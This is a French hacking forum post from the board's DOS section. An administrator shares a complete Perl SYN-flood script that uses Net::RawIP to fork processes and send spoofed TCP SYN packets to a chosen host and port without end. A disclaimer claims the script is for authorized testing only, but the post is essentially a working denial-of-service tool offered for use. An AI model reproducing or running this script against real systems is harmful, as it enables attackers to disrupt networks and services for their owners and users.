Dark Angel Index du Forum
Dark Angel
Hacking and Reverse
 
Dark Angel Index du ForumFAQRechercherS’enregistrerConnexion

:: Script PERL de flooding ::

 
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS
Sujet précédent :: Sujet suivant  
Auteur Message
4l3x
Administrateur
Administrateur

Hors ligne

Inscrit le: 04 Nov 2009
Messages: 96

MessagePosté le: Mer 9 Déc - 17:09 (2009)    Sujet du message: Script PERL de flooding Répondre en citant

#!/usr/bin/perl
#########################################################################
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
############################################################################
###########################################################################
## WARNING: This software is for LEGITIMATE network testing ONLY!
## Do not use this script on ANY network you do not authorization
## to preform this type of test on. Use of this script comes
## with no warrenty at all, I am not accountable for any
## unauthorized use of this software. You have been warned.
##########################################################################
### SYN - DoS ## Network DoS handling test ###############################
###########################################################################
## Coded by: Chartreuse
#### Of: ZDE www.zerodayexile.com
########################

# Load required modules
use Net::RawIP;

#########################################
## Set needed vars
##########
## These can set via command line or changed below
######
my $sourceHost = $ARGV[0]; # Packet source ip/host

my $destinationHost = $ARGV[1]; # Packet destination ip/host
my $destinationPort = $ARGV[2]; # Packet destination port

my $forks = $ARGV[3]; # Number of childs to make

#####################################################
##-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-##
#| Do not change below |#
##-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-##
#####################################################
my @forkids;
$SIG{INT} = \&diesoft;

sub diesoft {

print "Ctrl-C detected, killing all forks and exiting.\n";


kill 1, @forkids;

exit(0);
}



if(!defined $sourceHost or !defined $destinationHost or !defined $destinationPort)
{
print "Usage: $0 <source host> <destination host> <destination port> <forks>\n";
print " Source host and port may be spoofed\n";
exit;
}
else
{
print "Creating $forks forks, sending to $destinationHost\:$destinationPort with from ip of $sourceHost\:$sourcePort\n";
main();
}
sub main
{

for(my $i = 0; $i < $forks; $i++)
{
$forkids[$i] = fork(); # Creat forks
}
my $a = new Net::RawIP;
while(1) {
my $src_port = rand(65534)+1;
$a->set({ip => {saddr => $sourceHost,daddr => $destinationHost},tcp => {source => $src_port,dest => $destinationPort, syn => 1}});
$a->send;
}

}


Revenir en haut
Publicité






MessagePosté le: Mer 9 Déc - 17:09 (2009)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS Toutes les heures sont au format GMT + 1 Heure
Page 1 sur 1

 
Sauter vers:  

Index | Panneau d’administration | créer forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
HalloweenOclock © theme by larme d'ange 2006
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com